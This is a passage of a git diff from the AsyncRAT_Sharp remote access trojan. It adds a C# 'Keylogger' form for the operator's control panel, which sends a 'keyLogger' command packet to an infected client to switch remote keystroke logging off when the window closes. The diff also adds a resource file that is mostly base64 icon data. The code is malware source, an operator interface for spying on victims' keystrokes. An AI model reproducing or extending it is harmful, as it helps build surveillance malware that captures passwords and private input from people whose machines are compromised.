System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Forms +{ + public partial class Keylogger : Form + { + public Keylogger() + { + InitializeComponent(); + } + + public Form1 F { get; set; } + internal Clients C { get; set; } + + private void Timer1_Tick(object sender, EventArgs e) + { + if (!C.ClientSocket.Connected) this.Close(); + } + + private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("Log").AsString = "false"; + C.BeginSend(msgpack.Encode2Bytes()); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx new file mode 100644 index 0000000..e9b4dee --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx @@ -0,0 +1,580 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA + IACoJQAA7h4AAAAAAAABACAAHyUAAJZEAAAoAAAAEAAAACAAAAABACAAAAAAAAAEAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAF3n0ARNl7AMDHcwDGwnEAS8NxAAbDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAHdfQAq3X0Ak919AOrafAD/x3MA/8NxAO3DcQCaw3EAL8Nx + AALDcQAAAAAAAAAAAADdfQAA3X0AAN19ABzcewB93HsA4N18AP/dfQD/2nwA/8dzAP/DcQD/w3EA/8Jv + AOTCbwCEw3EAIMNxAADDcQAA3X0AAN19ADPdfQDP4o8j/eWdQP/fhRH/3X0A/9p8AP/HcwD/w3AA/8Z5 + Dv/SlD//zIYl/sNxANXDcQA8w3EAAN19AADdfQBm3XsA/+inUv/9+PD/67Jp/917AP/aewD/xnIA/8Ju + AP/ZpmD//Pfx/9ikW//CbwD/w3EAdMNxAADdfQAA3X0Af918AP/fhhP/+OTK//ffwf/hihr/3IQP/8p7 + D//Ifhf/7ti4//Tm0v/Ifhj/w3AA/8NxAI3DcQAA3X0AAN19AJndfQD/3XsA/+y1bv/++/f/+enT//jn + 0P/15dH/9ObS//379//ftHj/wnAA/8NxAP/DcQCmw3EAAt19AAbdfQCx3X0A/918AP/hjB//+uzZ//zy + 5v/wyZb/58SU//ju4P/47uD/zIYm/8JwAP/DcQD/w3EAvcNxAAvdfQAQ3X0Ax919AP/dfQD/3XwA/+/B + hv/88uX/348p/86DH//37N7/5cKS/8NxAf/DcQD/w3EA/8NxANHDcQAX3X0AHt19ANndfQD/3X0A/918 + AP/jlC7//PPn/+q5ef/gr2z/+vTr/9CPN//CbwD/w3EA/8NxAP/DcQDiw3EAKN19ADHdfQDo3X0A/919 + AP/dfQD/3X4D//LNnv/57Nr/9+nV/+vPqf/EdAb/w3EA/8NxAP/DcQD/w3EA7sNxAD3dfQBH3X0A8919 + AP/dfQD/3X0A/917AP/lnUH//fjx//369f/Vmkv/wm8A/8NxAP/DcQD/w3EA/8NxAPjDcQBV3X0AYt19 + APvdfQD/3X0A/919AP/dfQD/3oEJ//XZtf/w3MD/xngO/8NwAP/DcQD/w3EA/8NxAP/DcQD9w3EAcd19 + ADTdfQCi3X0A4t19AP3dfQD/3X0A/917AP/nplL/2aRb/8JvAP/DcQD/w3EA/8NxAP3DcQDkw3EAp8Nx + ADzdfQAA3X0ABN19ACTdfQBl3X0Asd19AOjdfQD+238H/8h2CP/DcQD+w3EA6sNxALXDcQBqw3EAKMNx + AAXDcQAAAAAAAAAAAADdfQAA3X0AAN19AAndfQA23X0Ahtp7ANrHcwDdw3EAi8NxADrDcQAKw3EAAMNx + AAAAAAAAAAAAAPgfAADgBwAAwAMAAIABAACAAQAAgAEAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAgAEAAPAPAAAoAAAAGAAAADAAAAABACAAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN59AELaewC/yHMAyMJxAE3DcQAHw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19 + AAHdfQAp3X0Akd19AOnafAD/x3MA/8NxAO7DcQCcw3EAMcNxAALDcQAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHvdfQDf3X0A/919AP/afAD/x3MA/8Nx + AP/DcQD/w3EA5cNxAIbDcQAiw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19 + ABHdfQBl3X0A0N19AP3dfQD/3X0A/919AP/afAD/x3MA/8NxAP/DcQD/w3EA/8NxAP7DcQDXw3EAcMNx + ABXDcQAAw3EAAAAAAAAAAAAAAAAAAN19AADdfQAI3X0AT919AL7dewD63HsA/917AP/dfQD/3X0A/919 + AP/afAD/x3MA/8NxAP/DcQD/w3EA/8JvAP/CbwD/wm8A/MNxAMfDcQBZw3EADMNxAADDcQAA3X0AAN19 + AADdfQBh3X0A9d5/BP/mn0P/6apZ/+WdP//dfgP/3X0A/919AP/afAD/x3MA/8NxAP/DcQD/w3EB/9GR + O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt + 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx + AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx + AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919 + AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx + AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff + wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19 + ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg + x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt + Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx + AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp + Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919 + AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+ + /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19 + AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V + tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D + DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19 + AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19 + AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx + AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA + AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA + AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx + ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx + AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8 + AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919 + AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx + AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7 + AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv + AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx + Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys + a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918 + AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw + AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19 + AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx + AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19 + AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz + AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA + AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A + Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx + AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be + v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx + AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW//// + /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917 + AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db + v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5//// + ///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919 + ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW + RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19 + AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA + Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx + AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS//// + ///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918 + AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5 + EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919 + AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+ + /f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx + AAzdfQAF3X0Akt19APLdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/9+E + D//338H/9ejW/8mAG//DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + APXDcQCnw3EAD919AADdfQAM3X0AOt19AIPdfQDL3X0A9d19AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3XsA/+uwZf/gtXv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNx + ANLDcQCNw3EAQsNxABDDcQAAAAAAAAAAAADdfQAA3X0AAN19ABLdfQBH3X0Ak919ANbdfQD53X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3YQQ/8t9FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD7w3EA3MNx + AJzDcQBQw3EAF8NxAAHDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAC3X0AGt19 + AFXdfQCi3X0A4N19APzdfQD/3X0A/919AP/aewD/x3IA/8NxAP/DcQD/w3EA/8NxAP3DcQDmw3EAq8Nx + AF/DcQAgw3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADdfQAA3X0AAN19AATdfQAj3X0AY919AK/dfQDn3X0A/dt8AP/HcwD/w3EA/sNxAOvDcQC4w3EAbcNx + ACrDcQAGw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACN19ADXdfQCD2nwA2MhzAN/DcQCPw3EAPcNx + AAzDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/+B///+AH///A + A///AAD//AAAP/AAAA/gAAAH4AAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAABwAAAAYAA + AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAAAAAAAAAAAACAAAAB8AAAB/wAAD//gAH///AP/ygA + AAAwAAAAYAAAAAEAIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19 + AADdfQAE3n0AP9p8ALrIdADMwnEAU8NxAAnDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADdfQAA3X0AAd19ACbdfQCM3X0A5tt8AP/IcwD/w3EA8MNxAKHDcQA2w3EAA8NxAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAa3X0Ad919ANvdfQD+3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQDnw3EAjMNx + ACbDcQABw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN19AADdfQAA3X0AD919AGDdfQDM3X0A/N19AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx + AP/DcQD/w3EA/sNxANvDcQB2w3EAGcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAjdfQBL3X0Aud19APjdfQD/3X0A/919AP/dfQD/3X0A/9t8 + AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD8w3EAy8NxAF/DcQAPw3EAAMNxAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3X0AON19AKXdfQDy3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPjDcQC4w3EASsNx + AAjDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAd19ACjdfQCP3X0A6d19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA8sNxAKTDcQA3w3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAa3X0AeN19ANzdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQDow3EAjsNxACfDcQABw3EAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGLdfQDN3X0A/d19 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxANzDcQB3w3EAGsNx + AADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAndfQBN3X0Au919 + APndfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8 + AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD8w3EAzMNxAGHDcQAQw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AB919 + AJDdfQD03X0A/919AP/dfQD/3X0B/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EB/8NxAP/DcQD/w3EA/8NxAPnDcQCuw3EAFcNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADdfQAA3X0AGN19ANbdfQD/3X0A/919AP/dfgP/67Fn//LOn//yzJz/8syc//LNnv/npU//3XwA/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/wnAA/9GS + PP/ox5v/6Mic/+jInP/oyZ7/37N4/8V2Cf/DcQD/w3EA/8NxAP/DcQDuw3EAM8NxAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAADdfQAA3X0AJ919AObdfQD/3X0A/919AP/dfAD/6rBl///9/P////////////// + ///23b3/34MN/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/xHME/+nLov//////////////////////4rmC/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAR8Nx + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AOt19APLdfQD/3X0A/919AP/dfAD/4IkZ//nm + z//////////////////9+PL/5p9D/917AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/CcAD/zYks//nw5P/////////////////47+L/zYks/8JwAP/DcQD/w3EA/8Nx + AP/DcQD+w3EAX8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AUN19APrdfQD/3X0A/919 + AP/dfQD/3XwA/+26ef//////////////////////8cmV/919Af/dfQD/3X0A/919AP/dfQD/3X0A/9t8 + AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/CcAD/37N3///////////////////////mxZf/w3IC/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EAeMNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AaN19 + AP/dfQD/3X0A/919AP/dfQD/3XwA/+KQJ//77t7/////////////////+u3c/+KOI//dfAD/3X0A/919 + AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/HexP/8uDH//////////////////v2 + 7v/Rkz7/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAksNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAN19 + AADdfQAA3X0Agt19AP/dfQD/3X0A/919AP/dfQD/3X0A/919Af/wxpD///////////////////7+/+uz + a//dewD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8JvAP/VnE///fr2//// + /////////////+zRrv/FdQj/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAq8NxAATDcQAAAAAAAAAA + AAAAAAAAAAAAAN19AADdfQAA3X0Am919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/kmTf//PXr//// + //////////////bdvf/fhA7/3XwA/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8Rz + BP/py6L//////////////////fr3/9aeUv/CbwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAwcNx + AAvDcQAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAG3X0As919AP/dfQD/3X0A/919AP/dfQD/3X0A/919 